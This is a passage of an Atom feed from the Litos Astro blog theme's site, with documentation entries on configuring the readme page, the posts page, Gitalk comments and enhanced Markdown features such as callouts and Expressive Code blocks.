    <updated>2025-08-14T00:00:00.000Z</updated>
    <published>2025-08-14T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Configure Readme page modules (site, header/footer links, social, GitHub, skills) with field docs and examples.</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.DMtFtdkY_ZeJxeL.webp" alt="Readme Page Config" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>The following files are compatible with this document:</p>
<ul>
<li><code>src/pages/index.astro</code> - readme page.</li>
<li><code>src/config.ts</code> - readme page config.</li>
<li><code>src/components/base</code> - most of the components come from here.</li>
</ul>
<h3>Site Config</h3>
<p>Configure basic site information:</p>
<pre><code>export const SITE: Site = {
  title: 'Litos',
  description: 'Litos is a blog theme built with Astro.js and 神林.',
  website: 'https://blog.shenlin.black/',
  lang: 'en',
  base: '/',
  author: '神林',
  ogImage: '/og-image.jpg',
}
</code></pre>





































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>title</td><td>The title of the site.</td></tr><tr><td>description</td><td>The description of the site.</td></tr><tr><td>website</td><td>Your final, deployed URL. Astro uses this full URL to generate your sitemap and canonical URLs in your final build. It is strongly recommended that you set this configuration to get the most out of Astro.</td></tr><tr><td>lang</td><td>The lang global attribute helps define the language of an element.</td></tr><tr><td>base</td><td>The base path to deploy to. Astro will use this path as the root for your pages and assets both in development and in production build. <br /> When you set it to <code>/docs</code>, astro dev will start your server at <code>/docs</code>.</td></tr><tr><td>author</td><td>The author of the site.</td></tr><tr><td>ogImage</td><td>The Open Graph images of the site, but on the specific post page, you can use other ogImage instead.</td></tr></tbody></table>
<h3>Header Links</h3>
<p>Top jump link component configuration:</p>
<pre><code>export const HEADER_LINKS: Link[] = [
  {
    name: 'Posts',
    url: '/posts',
  },
]
</code></pre>
<h3>Footer Links</h3>
<p>Footer link component configuration:</p>
<pre><code>export const FOOTER_LINKS: Link[] = [
  {
    name: 'Readme',
    url: '/',
  },
]
</code></pre>
<h3>Social Links</h3>
<p>In the readme page, you can see a string of icons below the theme introduction, which can be configured below. Icons are from <a href="https://icon-sets.iconify.design/" rel="noopener noreferrer" target="_blank">Iconify</a>.</p>
<pre><code>export const SOCIAL_LINKS: SocialLink[] = [
  {
    name: 'github',
    url: 'https://github.com/yourname',
    icon: 'icon-[ri--github-fill]',
    count: 11,
  },
  {
    name: 'twitter',
    url: 'https://x.com/yourname',
    icon: 'icon-[ri--twitter-x-fill]',
  },
]
</code></pre>

























<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>name</td><td>The name of the social link.</td></tr><tr><td>url</td><td>The URL of the social link.</td></tr><tr><td>icon</td><td>The icon of the social link.</td></tr><tr><td>count</td><td>The number of followers of this social media link. This is an <code>optional</code> field.</td></tr></tbody></table>
<h3>Spotlight</h3>
<pre><code>export const GITHUB_CONFIG: GithubConfig = {
  ENABLED: true,
  GITHUB_USERNAME: 'Sh3n1in',
  TOOLTIP_ENABLED: true,
}
</code></pre>





















<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>ENABLED</td><td>Whether to enable GitHub features.</td></tr><tr><td>GITHUB_USERNAME</td><td>The GitHub username to fetch data.</td></tr><tr><td>TOOLTIP_ENABLED</td><td>Whether to enable Github Tooltip (the cursor hover card) features.</td></tr></tbody></table>
<h3>Skills</h3>
<p>On the readme page, you can see a skill display area where you can showcase your skills by configuring the following code:</p>
<pre><code>export const SKILLSSHOWCASE_CONFIG: SkillsShowcaseConfig = {
  SKILLS_ENABLED: true,
  SKILLS_DATA: [
    {
      direction: 'left',
      skills: [
        {
          name: 'JavaScript',
          icon: 'icon-[mdi--language-javascript]',
        },
        {
          name: 'CSS',
          icon: 'icon-[mdi--language-css3]',
        },
        {
          name: 'HTML',
          icon: 'icon-[mdi--language-html5]',
        },
        {
          name: 'TypeScript',
          icon: 'icon-[mdi--language-typescript]',
        },
      ],
    },
  ],
}
</code></pre>

































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>SKILLS_ENABLED</td><td>Whether to enable SkillsShowcase features.</td></tr><tr><td>SKILLS_DATA</td><td>The data of the skills. A single object represents a row.</td></tr><tr><td>    direction</td><td>Each animation runs in two directions: <code>left</code> and <code>right</code>.</td></tr><tr><td>    skills</td><td>The skills array.</td></tr><tr><td>        name</td><td>The name of the skill.</td></tr><tr><td>        icon</td><td>The icon of the skill. Icons are from <a href="https://icon-sets.iconify.design/" rel="noopener noreferrer" target="_blank">Iconify</a>.</td></tr></tbody></table>
<div><div><div></div><div>TIP</div></div><div><p>It is recommended to run the project locally and check its effectiveness. It is suggested to have at least three different skills per line.</p></div></div>
<h3>Posts</h3>
<p>Here, we mainly display pinned posts. If there are no pinned posts, we will display the latest number of <code>size</code> posts based on <code>POSTS_CONFIG</code>.</p>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>Posts Page Config</title>
    <link href="https://blog.shenlin.black//posts/posts" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/posts</id>
    <updated>2025-08-13T00:00:00.000Z</updated>
    <published>2025-08-13T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Complete Posts configuration: fields, list styles, post metadata layouts, OG image handling, frontmatter examples, markdown syntax, and expressive-code config.</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.DuEOlrCu_2kyEMp.webp" alt="Posts Page Config" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>The following files are compatible with this document:</p>
<ul>
<li><code>src/pages/posts/[...id].astro</code> - post specific content display page.</li>
<li><code>src/pages/posts/[...page].astro</code> - post list page.</li>
<li><code>src/content/posts</code> - posts collection</li>
<li><code>src/content.config.ts</code> - posts dataset and frontmatter configuration.</li>
<li><code>ec.config.mjs</code> - expressiveCode config.</li>
<li><code>plugins/index.ts</code> - remark and rehype plugins.</li>
<li><code>src/config.ts</code> - posts page config.</li>
<li><code>src/components/posts</code> - most of the components come from here.</li>
</ul>
<h3>Posts Page Config</h3>
<p>The posts page config is configured in the following code:</p>
<pre><code>export const POSTS_CONFIG: PostConfig = {
  title: 'Posts',
  description: 'Posts by 神林',
  introduce: 'Here, I will share the usage instructions for this theme to help you quickly use it.',
  author: '神林',
  homePageConfig: {
    size: 3,
    type: 'compact',
  },
  postPageConfig: {
    size: 10,
    type: 'minimal',
  },
  tagsPageConfig: {
    size: 10,
    type: 'time-line',
  },
  ogImageUseCover: false,
  postType: 'metaOnly',
  imageDarkenInDark: true,
  readMoreText: 'Read more',
  prevPageText: 'Previous',
  nextPageText: 'Next',
  tocText: 'On this page',
  backToPostsText: 'Back to Posts',
  nextPostText: 'Next Post',
  prevPostText: 'Previous Post',
  recommendText: 'REC',
}
</code></pre>
<p>There are a few configuration attributes, please refer to the table below for details.</p>





























































































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>title</td><td>Title displayed on browser tags and title displayed on list pages.</td></tr><tr><td>description</td><td>The metadata description in the <code>head</code> element of the list page.</td></tr><tr><td>introduce</td><td>The introduce below the title on the list page.</td></tr><tr><td>author</td><td>The author of the posts.</td></tr><tr><td>homePageConfig</td><td><strong>readme page</strong> configuration.</td></tr><tr><td>    size</td><td>The number of posts displayed on the <strong>readme page</strong>.</td></tr><tr><td>    type</td><td>In the <strong>read page</strong>, the style of displaying data in a list , <code>compact</code> 、<code>minimal</code> 、<code>time-line</code> or <code>image</code>.</td></tr><tr><td>    coverLayout <br />    (optional)</td><td>When the type is image, this attribute can set the position of the image in the card. You can choose left or right. If not set, it will appear alternately on the left and right.</td></tr><tr><td>postPageConfig</td><td>Same as homePageConfig above, but size represents the base number of pages and is used for <strong>post pages</strong>.</td></tr><tr><td>tagsPageConfig</td><td>Same as homePageConfig above, but size represents the base number of pages and is used for <strong>tag pages</strong>.</td></tr><tr><td>ogImageUseCover</td><td>Whether to use the cover image as the Open Graph image.</td></tr><tr><td>postType</td><td>The default display component for the top metadata of the post’s specific content display page.You can configure <code>metaOnly</code>、 <code>coverSplit</code>、<code>coverTop</code>. <br /> Can be replaced by frontmatter settings for content.</td></tr><tr><td>imageDarkenInDark</td><td>Whether to darken the image in the dark mode.</td></tr><tr><td>readMoreText</td><td>The text of the read more button.</td></tr><tr><td>prevPageText</td><td>The text of the previous page button.</td></tr><tr><td>nextPageText</td><td>The text of the next page button.</td></tr><tr><td>tocText</td><td>Title text of the directory</td></tr><tr><td>backToPostsText</td><td>The text of the back to posts button.</td></tr><tr><td>nextPostText</td><td>The text of the next post button.</td></tr><tr><td>prevPostText</td><td>The text of the previous post button.</td></tr><tr><td>recommendText</td><td>The text of the recommend tag.</td></tr></tbody></table>
<h4>Type &amp; PostType</h4>
<p>In the above document, we mentioned configurable <code>types</code> for configuring the display style of list data on the readme page, posts page, and tags page, as well as configurable <code>postTypes</code> for displaying metadata at the top of the posts content page.</p>
<p>Here is the specific style display of <code>type</code>:</p>
<figure><img src="https://blog.shenlin.black/_astro/compact-black.DMCWHrjD_2evXXq.webp" alt="" class="img-light" /><figcaption>compact</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/timeLine-black.jDSZqIn4_Z2hp2Yv.webp" alt="" class="img-light" /><figcaption>time-line</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/minimal-black.Dxsrn9wb_1l0yun.webp" alt="" class="img-light" /><figcaption>minimal</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/image-black.BeMdDApH_ZV1j5H.webp" alt="" class="img-light" /><figcaption>image</figcaption></figure>
<p>Here is the specific style display of <code>postType</code>:</p>
<figure><img src="https://blog.shenlin.black/_astro/metaOnly-black.CAi7aUXH_2gkuT1.webp" alt="" class="img-light" /><figcaption>metaOnly</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/coverTop-black.Cji_8Dx0_2wd6Gt.webp" alt="" class="img-light" /><figcaption>coverTop</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/coverSplit-black.BGSoc6qf_1NdheF.webp" alt="" class="img-light" /><figcaption>coverSplit</figcaption></figure>
<h3>Frontmatter</h3>
<p>After discussing the external list and overall design of the post, let’s take a look at the content of the post together. These contents are all in the <code>src/content/posts</code> folder.</p>
<p>Below is the frontmatter of the post content:</p>
<pre><code>---
title: 'Litos: Posts Page Config'
description: ''
pubDate: 2025-08-13
author: '神林'
recommend: true
tags: ['Litos', 'Documentation']
---
</code></pre>
<p>You can configure the frontmatter of the post content in the following code:</p>
<pre><code>const posts = defineCollection({
  loader: glob({
    pattern: '**/*.{md,mdx}',
    base: './src/content/posts',
  }),
  schema: ({ image }) =&gt;
    z
      .object({
        title: z.string(),
        description: z.string(),
        pubDate: z.date(),
        tags: z.array(z.string()).optional(),
        updatedDate: z.date().optional(),
        author: z.string().default(POSTS_CONFIG.author),
        cover: image().optional(),
        ogImage: image().optional(),
        recommend: z.boolean().default(false),
        postType: z.custom&lt;PostType&gt;().optional(),
        coverLayout: z.custom&lt;CoverLayout&gt;().optional(),
        pinned: z.boolean().default(false),
        draft: z.boolean().default(false),
      })
      .transform((data) =&gt; ({
        ...data,
        ogImage: data.ogImage ? data.ogImage : POSTS_CONFIG.ogImageUseCover &amp;&amp; data.cover ? data.cover : undefined,
      })),
})
</code></pre>





























































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>title</td><td>Title of the post.</td></tr><tr><td>description</td><td>Overview of the content of the post, also used for SEO.</td></tr><tr><td>pubDate</td><td>Post release date.</td></tr><tr><td>tags</td><td>List of tags for posts</td></tr><tr><td>updatedDate</td><td>Latest update date of the post. <br /> In the sorting of the post list, the priority value is greater than the publication date.</td></tr><tr><td>author</td><td>The author of the post.</td></tr><tr><td>cover</td><td>When the type of the list is <code>image</code>, the cover image used for display, or the cover image displayed at the top of the postType <code>coverSplit</code> or <code>coverTop</code></td></tr><tr><td>ogImage</td><td>The Open Graph image of the post.</td></tr><tr><td>recommend</td><td>Whether to display the recommend tag.</td></tr><tr><td>postType</td><td>The display component for the top metadata of the post’s specific content display page. You can configure <code>metaOnly</code>、 <code>coverSplit</code>、<code>coverTop</code></td></tr><tr><td>coverLayout</td><td>When the type is <code>image</code>, this attribute can set the position of the image in the card. You can choose <code>left</code> or <code>right</code>. If not set, it will appear alternately on the left and right.</td></tr><tr><td>pinned</td><td>Whether to top the post.</td></tr><tr><td>draft</td><td>Whether to hide the post.</td></tr></tbody></table>
<div><div><div></div><div>TIP</div></div><div><p>Regarding <code>cover</code> and <code>ogImage</code>.</p><p><code>Cover</code> and <code>ogImage</code> are two independent attributes, and the only one that can connect them is <code>POSTS_CONFIG.ogImageUseCover</code>.</p><p><code>POSTS_CONFIG.ogImageUseCover</code> is enabled by default, so you only need to write <code>cover</code> to configure <code>ogImage</code> at the same time. This applies to situations where the <code>cover</code> and <code>ogImage</code> are the same. If you want to customize <code>ogImage</code>, you can set it separately.</p><p>If <code>POSTS_CONFIG.ogImageUseCover</code> is not enabled, <code>ogImage</code> needs to be set separately. If you do not set it, the site’s <code>ogImage</code> will be used as a fallback.</p><p><code>POSTS_CONFIG.ogImageUseCover</code> &gt; <code>cover</code></p></div></div>
<hr />
<h3>Syntax and Code Style</h3>
<p>This guide will show you how to format text using Markdown through a 3-day city trip itinerary. Learn Markdown while planning your journey!</p>
<h4>Heading Levels</h4>
<p>For travel notes, multiple heading levels help organize days, time blocks, and tips:</p>
<pre><code># 3-Day City Trip Itinerary

## Day 1: Arrival &amp; Old Town

### Morning Plan

#### Coffee Stops

##### Metro Tips

###### Notes
</code></pre>
<h4>Text Formatting</h4>
<p>When writing travel notes, highlight important info:</p>
<p><strong>Must-see spots</strong> should be bold
<em>Flexible time</em> uses italics
<strong><em>Critical cautions</em></strong> can use both
Optional detours use strikethrough</p>
<pre><code>**Must-see spots** should be bold
_Flexible time_ uses italics
**_Critical cautions_** can use both
~~Optional detours~~ use strikethrough
</code></pre>
<h4>Packing List (Unordered List)</h4>
<ul>
<li>Passport, visa</li>
<li>Camera, extra battery
<ul>
<li>Bring a fast charger</li>
<li>Spare SD card</li>
</ul>
</li>
<li>Refillable water bottle</li>
<li>Public transport card</li>
</ul>
<pre><code>- Passport, visa
- Camera, extra battery
  - Bring a fast charger
  - Spare SD card
- Refillable water bottle
- Public transport card
</code></pre>
<h4>Day 1 Schedule (Ordered List)</h4>
<ol>
<li>Airport → hotel check-in</li>
<li>Old Town walking tour</li>
<li>Evening river cruise
<ol>
<li>Arrive 15 min early</li>
<li>Queue at Gate B</li>
<li>Window seats recommended</li>
</ol>
</li>
</ol>
<pre><code>1. Airport → hotel check-in
2. Old Town walking tour
3. Evening river cruise
   1. Arrive 15 min early
   2. Queue at Gate B
   3. Window seats recommended
</code></pre>
<h4>Blockquotes</h4>
<blockquote><p>Traveler tip: Buy a 24‑hour metro pass if you plan 3+ rides in a day.</p><p>Save the hotel address in offline maps for quick access.</p></blockquote>
<pre><code>&gt; Traveler tip: Buy a 24‑hour metro pass if you plan 3+ rides in a day.
&gt;
&gt; Save the hotel address in offline maps for quick access.
</code></pre>
<h4>Code Blocks</h4>
<p>Use simple code to estimate budget:</p>
<pre><code>type Budget = { flight: number; hotel: number; meals: number; transport: number }
export const total = (b: Budget) =&gt; b.flight + b.hotel + b.meals + b.transport

console.log(total({ flight: 1200, hotel: 450, meals: 180, transport: 60 })) // 1890
</code></pre>
<h4>Tables</h4>
<p>Sample schedule:</p>

























<table><thead><tr><th>Time</th><th>Place</th><th>Notes</th></tr></thead><tbody><tr><td>09:00</td><td>Old Town Square</td><td>Guided walking tour</td></tr><tr><td>12:30</td><td>Riverside Cafe</td><td>Lunch + short rest</td></tr><tr><td>18:00</td><td>City Pier</td><td>Sunset cruise</td></tr></tbody></table>
<h4>Links and Images</h4>
<p>More tips: <a href="https://example.com/travel" rel="noopener noreferrer" target="_blank">Official Tourism Board</a></p>
<p>Trip photo:
<img src="https://blog.shenlin.black/_astro/home.DfiDpdST_gTJAi.webp" alt="City skyline" style="width:50%" /></p>
<h4>Horizontal Rule</h4>
<hr />
<h4>Inline Code</h4>
<p>Metro line <code>A</code> runs every <code>5-7 minutes</code> during peak hours.</p>
<h4>Math Formulas</h4>
<p>Daily budget estimation: <span><span>budget=hotel+meals+transportbudget = hotel + meals + transport</span><span><span><span></span><span>b</span><span>u</span><span>d</span><span>g</span><span>e</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span>h</span><span>o</span><span>t</span><span>e</span><span>l</span><span></span><span>+</span><span></span></span><span><span></span><span>m</span><span>e</span><span>a</span><span>l</span><span>s</span><span></span><span>+</span><span></span></span><span><span></span><span>t</span><span>r</span><span>an</span><span>s</span><span>p</span><span>or</span><span>t</span></span></span></span></p>
<p>Total trip:</p>
<span><span><span>Total Budget=∑d=13(Hoteld+Mealsd+Transportd)Total\ Budget = \sum_{d=1}^{3} (Hotel_d + Meals_d + Transport_d)</span><span><span><span></span><span>T</span><span>o</span><span>t</span><span>a</span><span>l</span><span> </span><span>B</span><span>u</span><span>d</span><span>g</span><span>e</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>d</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>3</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>(</span><span>H</span><span>o</span><span>t</span><span>e</span><span><span>l</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>M</span><span>e</span><span>a</span><span>l</span><span><span>s</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>T</span><span>r</span><span>an</span><span>s</span><span>p</span><span>or</span><span><span>t</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span></span>
<h4>Task Lists</h4>
<p>Pre-trip checklist:</p>
<ul>
<li> Book flights</li>
<li> Reserve hotel</li>
<li> Buy metro pass</li>
<li> Download offline maps</li>
</ul>
<h4>Footnotes</h4>
<p>This itinerary draws on local travel guides(click to the footnote) <sup><a href="#user-content-fn-1">1</a></sup>.</p>
<hr />
<h3>Expressive-code config</h3>
<p>In Markdown documents, we use code blocks to display code snippets and other content. This document explains how to customize the code block configuration.</p>
<p>The code blocks in this theme are configured using <a href="https://expressive-code.com/" rel="noopener noreferrer" target="_blank">Expressive Code</a> with all configuration options defined in the <code>ec.config.mjs</code> file. Below is the main configuration options:</p>
<pre><code>import { defineEcConfig } from 'astro-expressive-code'
import { pluginCollapsibleSections } from '@expressive-code/plugin-collapsible-sections'
import { pluginLineNumbers } from '@expressive-code/plugin-line-numbers'

export default defineEcConfig({
  defaultLocale: 'zh-CN',
  defaultProps: {
    wrap: false,
    collapseStyle: 'collapsible-auto',
    showLineNumbers: false,
    preserveIndent: true,
  },
  minSyntaxHighlightingColorContrast: 0,

  styleOverrides: {
    uiFontFamily: 'GeistMono, Input Mono, Fira Code, ShangguSansSCVF, monospace',
    uiFontSize: '1em',
    codeFontFamily: 'GeistMono, Input Mono, Fira Code, ShangguSansSCVF, monospace',
    codeFontSize: '14px',
    codeLineHeight: '1.4',
    borderRadius: '0',
    codePaddingBlock: '0.8571429em',
    codePaddingInline: '1.1428571em',
    borderColor: ({ theme }) =&gt; (theme.type === 'dark' ? '#24273a' : '#e6e9ef'),

    frames: {
      frameBoxShadowCssValue: false,
      inlineButtonBackgroundActiveOpacity: '0.2',
      inlineButtonBackgroundHoverOrFocusOpacity: '0.1',
    },
    textMarkers: {
      backgroundOpacity: '0.2',
      borderOpacity: '0.4',
    },
  },

  plugins: [
    pluginCollapsibleSections({
      defaultCollapsed: false,
    }),
    pluginLineNumbers(),
  ],

  themes: ['catppuccin-macchiato', 'catppuccin-latte'],
  themeCssSelector: (theme) =&gt; (theme.name === 'catppuccin-macchiato' ? '.dark' : ':root:not(.dark)'),
  useDarkModeMediaQuery: false,
  useStyleReset: false,
})
</code></pre>
<p>You can go to the website to view the configuration options of expressive-code.</p>
<hr />
<h3>Comment System (Gitalk)</h3>
<p>The theme has a built-in <a href="https://github.com/gitalk/gitalk" rel="noopener noreferrer" target="_blank">Gitalk</a> comment system that uses GitHub Issues as the comment backend. Each post automatically gets its own issue for comments.</p>
<h4>Prerequisites</h4>
<p>You need to create a <strong>GitHub OAuth App</strong> first:</p>
<ol>
<li>Go to <a href="https://github.com/settings/developers" rel="noopener noreferrer" target="_blank">GitHub Developer Settings</a> → <strong>OAuth Apps</strong> → <strong>New OAuth App</strong>.</li>
<li>Fill in the form:
<ul>
<li><strong>Application name</strong>: Any name (e.g. <code>My Blog Comments</code>)</li>
<li><strong>Homepage URL</strong>: Your site URL (e.g. <code>https://yourdomain.com</code>)</li>
<li><strong>Authorization callback URL</strong>: Same as your site URL</li>
</ul>
</li>
<li>After creation, copy the <strong>Client ID</strong> and generate a <strong>Client Secret</strong>.</li>
<li>Create a <strong>public repository</strong> on GitHub to store comment issues (e.g. <code>blog-comments</code>).</li>
</ol>
<h4>Configuration</h4>
<p>Configure the comment system in <code>src/config.ts</code>:</p>
<pre><code>export const COMMENT_CONFIG: CommentConfig = {
  enabled: true,
  system: 'gitalk',
  gitalk: {
    clientID: import.meta.env.PUBLIC_GITHUB_CLIENT_ID,
    clientSecret: import.meta.env.PUBLIC_GITHUB_CLIENT_SECRET,
    repo: 'blog-comments',
    owner: 'YourGitHubUsername',
    admin: ['YourGitHubUsername'],
    language: 'en-US',
    perPage: 5,
    pagerDirection: 'last',
    createIssueManually: false,
    distractionFreeMode: false,
    enableHotKey: true,
  },
}
</code></pre>
<p>Then set the environment variables. Create a <code>.env</code> file in the project root (refer to <code>.env.example</code>):</p>
<pre><code>PUBLIC_GITHUB_CLIENT_ID=your-github-client-id
PUBLIC_GITHUB_CLIENT_SECRET=your-github-client-secret
</code></pre>
<h4>Config Properties</h4>





























































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>enabled</td><td>Whether to enable the comment system.</td></tr><tr><td>system</td><td>Comment system to use. Options: <code>gitalk</code>, <code>none</code>.</td></tr><tr><td>clientID</td><td>GitHub OAuth App Client ID.</td></tr><tr><td>clientSecret</td><td>GitHub OAuth App Client Secret.</td></tr><tr><td>repo</td><td>The GitHub repository name for storing comment issues.</td></tr><tr><td>owner</td><td>The GitHub username of the repository owner.</td></tr><tr><td>admin</td><td>Array of GitHub usernames who can initialize comment issues.</td></tr><tr><td>language</td><td>Display language. e.g. <code>en-US</code>, <code>zh-CN</code>, <code>zh-TW</code>.</td></tr><tr><td>perPage</td><td>Number of comments per page.</td></tr><tr><td>pagerDirection</td><td>Comment sorting direction. <code>last</code> (newest first) or <code>first</code> (oldest first).</td></tr><tr><td>createIssueManually</td><td>If <code>true</code>, issues must be created manually. If <code>false</code>, auto-created on first visit by admin.</td></tr><tr><td>distractionFreeMode</td><td>If <code>true</code>, enables full-screen overlay when typing a comment.</td></tr><tr><td>enableHotKey</td><td>Whether to enable <code>Cmd/Ctrl + Enter</code> shortcut to submit comments.</td></tr></tbody></table>
<div><div><div></div><div>NOTE</div></div><div><p>To disable comments entirely, set <code>enabled: false</code> or <code>system: 'none'</code> in <code>COMMENT_CONFIG</code>.</p></div></div>
<div><div><div></div><div>CAUTION</div></div><div><p>The <code>clientID</code> and <code>clientSecret</code> are read from environment variables via <code>import.meta.env</code>. Make sure to add <code>.env</code> to your <code>.gitignore</code> file (already included by default) to avoid leaking secrets.</p></div></div>
<section><h2>Footnotes</h2>
<ol>
<li>
<p>City Tourism Guide, 2024 Edition. (click back to the text) <a href="#user-content-fnref-1">↩</a></p>
</li>
</ol>
</section>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>Markdown enhanced syntax</title>
    <link href="https://blog.shenlin.black//posts/enhance" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/enhance</id>
    <updated>2025-08-12T00:00:00.000Z</updated>
    <published>2025-08-12T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Enhance Markdown with callouts, Expressive Code blocks, image caption directives, video embeds, styled links, badges, and details.</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="Markdown enhanced syntax" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>This guide has made slight changes based on the <a href="https://astro-antfustyle-theme.vercel.app/blog/markdown-mdx-extended-features/" rel="noopener noreferrer" target="_blank">markdown-mdx-extended-features</a>.</p>
<h2>Callouts</h2>
<p>Supported by the <a href="https://github.com/lin-stephanie/rehype-callouts" rel="noopener noreferrer" target="_blank">rehype-callouts</a> , you can configure the plugin in <code>plugins/index.ts</code>.</p>
<p>If you change the <code>theme</code> configuration (default: <code>'vitepress'</code>), you will also need to update the imported CSS file in <code>src/styles/pro.css</code> (<code>@import 'rehype-callouts/theme/yourconfig'</code>).</p>
<pre><code>&lt;!-- Callout type names are case-insensitive: 'Note', 'NOTE', and 'note' are equivalent. --&gt;

&lt;!-- vitepress --&gt;

&lt;!-- This is a _non-collapsible_ callout --&gt;

&gt; [!note]
&gt; Note content.

&gt; [!tip]
&gt; Tip content.

&gt; [!important]
&gt; Important content.

&gt; [!warning]
&gt; Warning content.

&gt; [!caution]
&gt; Caution content.

&gt; [!caution]- This is a **collapsible** callout
&gt; Caution content.

&gt; [!note]+ This is a **collapsible** callout
&gt; Note content.
</code></pre>
<div><div><div></div><div>NOTE</div></div><div><p>Note <code>content</code>.</p></div></div>
<div><div><div></div><div>TIP</div></div><div><p>Tip <code>content</code>.</p></div></div>
<div><div><div></div><div>IMPORTANT</div></div><div><p>Important <code>content</code>.</p></div></div>
<div><div><div></div><div>WARNING</div></div><div><p>Warning <code>content</code>.</p></div></div>
<div><div><div></div><div>CAUTION</div></div><div><p>Caution <code>content</code>.</p></div></div>
<div></div><div>This is a <strong>collapsible</strong> callout</div><div></div><div><p>Caution content.</p></div>
<div></div><div>This is a <strong>collapsible</strong> callout</div><div></div><div><p>Note content.</p></div>
<h2>Fully-featured Code Blocks</h2>
<p>Supported by <a href="https://github.com/expressive-code/expressive-code/tree/main/packages/astro-expressive-code" rel="noopener noreferrer" target="_blank">astro-expressive-code</a> with <a href="https://expressive-code.com/plugins/collapsible-sections/" rel="noopener noreferrer" target="_blank">@expressive-code/plugin-collapsible-sections</a> and <a href="https://expressive-code.com/plugins/line-numbers/" rel="noopener noreferrer" target="_blank">@expressive-code/plugin-line-numbers</a> plugins to add styling and extra functionality for code blocks.</p>
<p>To customize code block themes or functionality, modify the <code>ec.config.mjs</code> file at the project root after reviewing the <a href="https://expressive-code.com/reference/configuration/" rel="noopener noreferrer" target="_blank">Configuring Expressive Code</a>, such as <a href="https://expressive-code.com/guides/themes/#using-bundled-themes" rel="noopener noreferrer" target="_blank">change themes</a>, <a href="https://expressive-code.com/key-features/word-wrap/#wrap" rel="noopener noreferrer" target="_blank">enable word wrap</a>, or <a href="https://expressive-code.com/plugins/line-numbers/#showlinenumbers" rel="noopener noreferrer" target="_blank">toggle line numbers</a>.</p>
<p>Here’s a quick preview of what’s possible. Check the <a href="https://expressive-code.com/key-features/syntax-highlighting/" rel="noopener noreferrer" target="_blank">detailed guide</a> for more info.</p>
<h4>Syntax highlighting</h4>
<pre><code>console.log('This code is syntax highlighted!')
</code></pre>
<pre><code>ANSI colors:
- Regular: Red Green Yellow Blue Magenta Cyan
- Bold:    Red Green Yellow Blue Magenta Cyan
- Dimmed:  Red Green Yellow Blue Magenta Cyan

256 colors (showing colors 160-177):
160 161 162 163 164 165
166 167 168 169 170 171
172 173 174 175 176 177

Full RGB colors:
ForestGreen - RGB(34, 139, 34)

Text formatting: Bold Dimmed Italic Underline
</code></pre>
<h5>Code editor frames</h5>
<pre><code>// Use `title="my-test-file.js"`
console.log('Title attribute example')
</code></pre>
<pre><code>// src/content/index.ts
// Use `// src/content/index.ts`
console.log('File name comment example')
</code></pre>
<h5>Terminal frames</h5>
<pre><code>echo "This terminal frame has no title"
</code></pre>
<pre><code>Write-Output "This one has a title!"
</code></pre>
<h5>Marking full lines &amp; line ranges</h5>
<pre><code>// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range "7-8"
// Line 8 - targeted by range "7-8"
</code></pre>
<h5>Selecting line marker types (mark, ins, del)</h5>
<pre><code>function demo() {
  console.log('this line is marked as deleted')
  // This line and the next one are marked as inserted
  console.log('this is the second inserted line')

  return 'this line uses the neutral default marker type'
}
</code></pre>
<h5>Adding labels to line markers</h5>
<pre><code>// labeled-line-markers.jsx
&lt;button role="button" {...props} value={value} className={buttonClassName} disabled={disabled} active={active}&gt;
  {children &amp;&amp; !active &amp;&amp; (typeof children === 'string' ? &lt;span&gt;{children}&lt;/span&gt; : children)}
&lt;/button&gt;
</code></pre>
<h5>Adding long labels on their own lines</h5>
<pre><code>// labeled-line-markers.jsx
&lt;button role="button" {...props} value={value} className={buttonClassName} disabled={disabled} active={active}&gt;
  {children &amp;&amp; !active &amp;&amp; (typeof children === 'string' ? &lt;span&gt;{children}&lt;/span&gt; : children)}
&lt;/button&gt;
</code></pre>
<h5>Using diff-like syntax</h5>
<pre><code>+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line
</code></pre>
<pre><code>  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log('Old code to be removed')
+   console.log('New and shiny code!')
  }
</code></pre>
